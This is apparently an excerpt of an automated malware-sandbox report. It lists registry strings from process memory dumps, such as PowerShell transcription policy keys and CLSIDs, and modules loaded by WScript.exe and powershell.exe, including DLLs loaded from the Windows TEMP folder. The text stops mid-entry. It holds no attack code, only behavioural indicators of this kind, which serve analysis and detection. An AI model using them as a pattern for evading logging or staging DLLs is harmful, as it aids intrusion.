00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00006400.00000000.147073.04880000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006400.00000001.148995.00520000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006400.00000001.148995.00520000.00000004.mdmp "_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00006400.00000001.148995.08990000.00000004.mdmp "Registry\Machine\Software\Classes\C" in Source: 00000000-00006400.00000001.148995.08990000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}" in Source: 00000000-00006400.00000001.148995.08990000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}" in Source: 00000000-00006400.00000001.148995.08990000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}" in Source: 00000000-00006400.00000001.148995.08990000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}" in Source: 00000000-00006400.00000001.148995.08990000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207367261-1001" in Source: 00000000-00006400.00000001.148995.09567000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006400.00000002.150913.00520000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006400.00000002.150913.00520000.00000004.mdmp "_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00006400.00000002.150913.08990000.00000004.mdmp "Registry\Machine\Software\Classes\C" in Source: 00000000-00006400.00000002.150913.08990000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}" in Source: 00000000-00006400.00000002.150913.08990000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}" in Source: 00000000-00006400.00000002.150913.08990000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}" in Source: 00000000-00006400.00000002.150913.08990000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}" in Source: 00000000-00006400.00000002.150913.08990000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207367261-1001" in Source: 00000000-00006400.00000002.150913.09567000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00006400.00000002.150913.6F1C1000.00000020.mdmp "Software\Microsoft\RemovalTools\MRT" in Source: 00000000-00006400.00000002.150913.6F1C1000.00000020.mdmp "HKLM\" in Source: 00000000-00006400.00000002.150913.6F1C1000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00006400.00000002.150913.6F1C1000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006400.00000002.150913.6F1C1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00007432.00000000.145934.6A23A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00007432.00000000.145934.6A23A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00007432.00000000.145934.6A23A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00007432.00000000.145934.6A23A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00007432.00000000.145934.6A23A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00007432.00000000.145934.6A23A000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007432.00000000.145934.A4FC0000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00007432.00000000.145934.A4FC0000.00000004.mdmp "th=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0" in Source: 00000000-00007432.00000000.145934.A4FC0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007432.00000000.145934.A4FC0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007432.00000000.145934.A4FC0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007432.00000000.145934.BF450000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007432.00000001.146782.A4FC0000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00007432.00000001.146782.A5076000.00000004.mdmp "th=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0" in Source: 00000000-00007432.00000001.146782.A5076000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007432.00000001.146782.A5076000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007432.00000001.146782.A5076000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007432.00000001.146782.BF456000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{9BA05972-F6A8-11CF-A442-00A0C90A8F39}\LocalServer32" in Source: 00000000-00007432.00000001.146782.BF49F000.00000004.mdmp "INE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00007432.00000001.146782.BFADF000.00000004.mdmp "E\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00007432.00000001.146782.BFADF000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00007432.00000001.146782.BFADF000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{4" in Source: 00000000-00007432.00000001.146782.BFADF000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00007432.00000001.146782.BFADF000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00007432.00000001.146782.BFB3B000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6:" in Source: 00000000-00007432.00000001.146782.BFB3B000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00007432.00000001.146782.BFB93000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00007432.00000001.146782.BFB93000.00000004.mdmp36:T52b9,"WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7fff6e180000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7fff6e180000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7fff6e180000 "WScript.exe" loaded module "KERNEL32" at base 7fff6f250000 "WScript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7fff4b000000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7fff6c700000 "WScript.exe" loaded module "RPCRT4.DLL" at base 7fff715e0000 "WScript.exe" loaded module "KERNEL32.DLL" at base 7fff6f250000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base 7fff418f0000 "WScript.exe" loaded module "AMSI.DLL" at base 7fff53610000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7fff647f0000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7fff50570000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\D5J3S2L0.DLL" at base 7fff4f6d0000 "WScript.exe" loaded module "WLDP.DLL" at base 7fff6d1c0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7fff71890000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7fff6f1a0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7fff6d570000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7fff53600000 "WScript.exe" loaded module "OLE32.DLL" at base 7fff71490000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7fff6e760000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7fff4fe90000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 7fff4e130000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7fff6f080000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 7fff5cfe0000 "WScript.exe" loaded module "CRYPTNET.DLL" at base 7fff5cfe0000 "WScript.exe" loaded module "WINHTTP.DLL" at base 7fff6a680000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7fff50550000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7fff6d960000 "WScript.exe" loaded module "SSPICLI.DLL" at base 7fff6dfd0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7fff65d30000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7fff67140000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7fff6e180000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 7fff4a740000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7fff636a0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7fff61710000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7fff62db0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7fff6e180000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7fff6e180000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7fff62a30000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 7fff4fd80000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7fff41810000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7fff6f250000 "WScript.exe" loaded module "USERENV.DLL" at base 7fff6e000000 "WScript.exe" loaded module "VERSION.DLL" at base 7fff647f0000 "WScript.exe" loaded module "NTDLL.DLL" at base 7fff71d80000 "WScript.exe" loaded module "SHELL32.DLL" at base 7fff6fc30000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 7fff68f30000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7fff6e930000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7fff6a4a0000 "WScript.exe" loaded module "USER32.DLL" at base 7fff71700000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7fff599c0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 7fff6fc30000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7fff62210000 "WScript.exe" loaded module "MSISO.DLL" at base 7fff4aad0000 "WScript.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7fff6e180000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7fff6e180000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7fff6e180000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7fff6e180000 "powershell.exe" loaded module "KERNEL32" at base 7fff6f250000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7fff4b000000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7fff71890000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7fff4f990000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7fff6f3e0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7fff6e110000 "powershell.exe" loaded module "VERSION.DLL" at base 7fff647f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7fff40760000 "powershell.exe" loaded module "USER32.DLL" at base 7fff71700000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7fff6e180000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7fff55020000 "powershell.exe" loaded module "NTDLL" at base 7fff71d80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7fff71940000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7fff6f250000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7fff3f160000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7fff715e0000 "powershell.exe" loaded module "OLE32.DLL" at base 7fff71490000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7fff71940000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7fff6fac0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7fff3e4f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7fff3da70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7fff418e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7fff6d570000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7fff6f080000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7fff3ba00000 "powershell.exe" loaded module "COMBASE.DLL" at base 7fff71940000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7fff71940000 "powershell.exe" loaded module "NTDLL.DLL" at base 7fff71d80000 "powershell.exe" loaded module "PSAPI.DLL" at base 7fff71070000 "powershell.exe" loaded module "SHELL32.DLL" at base 7fff6fc30000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7fff6f1a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7fff6f1a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7fff6e760000 "powershell.exe" loaded module "AMSI.DLL" at base 7fff53610000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7fff647f0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7fff50570000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7fff6e760000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\D5J3S2L0.DLL" at base 7fff4f6d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7fff41840000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7fff3b090000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7fff416d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7fff41360000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7fff3af20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7fff3a670000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7fff4e110000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7fff6e180000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7fff3a520000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7fff412f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7fff3a440000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7fff3a300000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7fff4a740000 "powershell.exe" loaded module "SECUR32.DLL" at base 7fff64970000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7fff6dfd0000 "powershell.exe" loaded module "WLDP.DLL" at base 7fff6d1c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7fff6c700000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7fff3a220000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7fff6f250000 "powershell.exe" loaded module "USERENV.DLL" at base 7fff6e000000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7fff71890000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7fff71940000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7fff39fe0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7fff4fd80000 "powershell.exe" loaded module "GDI32.DLL" at base 7fff71080000 "powershell.exe" loaded module "OLEAUT32" at base 7fff6fac0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7fff392d0000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7fff6dc30000 "powershell.exe" loaded module "RASAPI32.DLL" at base 7fff627c0000 "powershell.exe" loaded module "RASMAN.DLL" at base 7fff62780000 "powershell.exe" loaded module "WS2_32.DLL" at base 7fff71310000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7fff6d960000 "powershell.exe" loaded module "WINHTTP.DLL" at base 7fff6a680000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7fff50550000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7fff6d6f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7fff65d30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7fff67140000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7fff6d4b0000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 7fff5e8d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7fff5e920000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7fff6e180000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7fff61710000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7fff636a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\\WMINET_UTILS.DLL" at base 7fff4fa40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base 7fff4fe90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base 7fff4f740000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NLAAPI.DLL" at base 7fff696b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base 7fff53600000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7fff62db0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7fff6e180000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7fff6e180000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7fff62a30000 "powershell.exe" loaded module "SXS.DLL" at base 7fff6df30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 7fff6fac0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76840000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76840000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76840000 "powershell.exe" loaded module "KERNEL32" at base 76320000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73070000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 76b10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72fe0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 76b90000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 77af0000 "powershell.exe" loaded module "VERSION.DLL" at base 74340000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 72830000 "powershell.exe" loaded module "USER32.DLL" at base 765c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 76840000 "powershell.exe" loaded module "MSCOREE.DLL" at base 73120000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 746d0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 76320000 "powershell.exe" loaded module "RPCRT4.DLL" at base 76a50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 71350000 "powershell.exe" loaded module "OLE32.DLL" at base 77390000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 746d0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 772f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 71320000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 767e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 76840000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 71290000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 70830000 "powershell.exe" loaded module 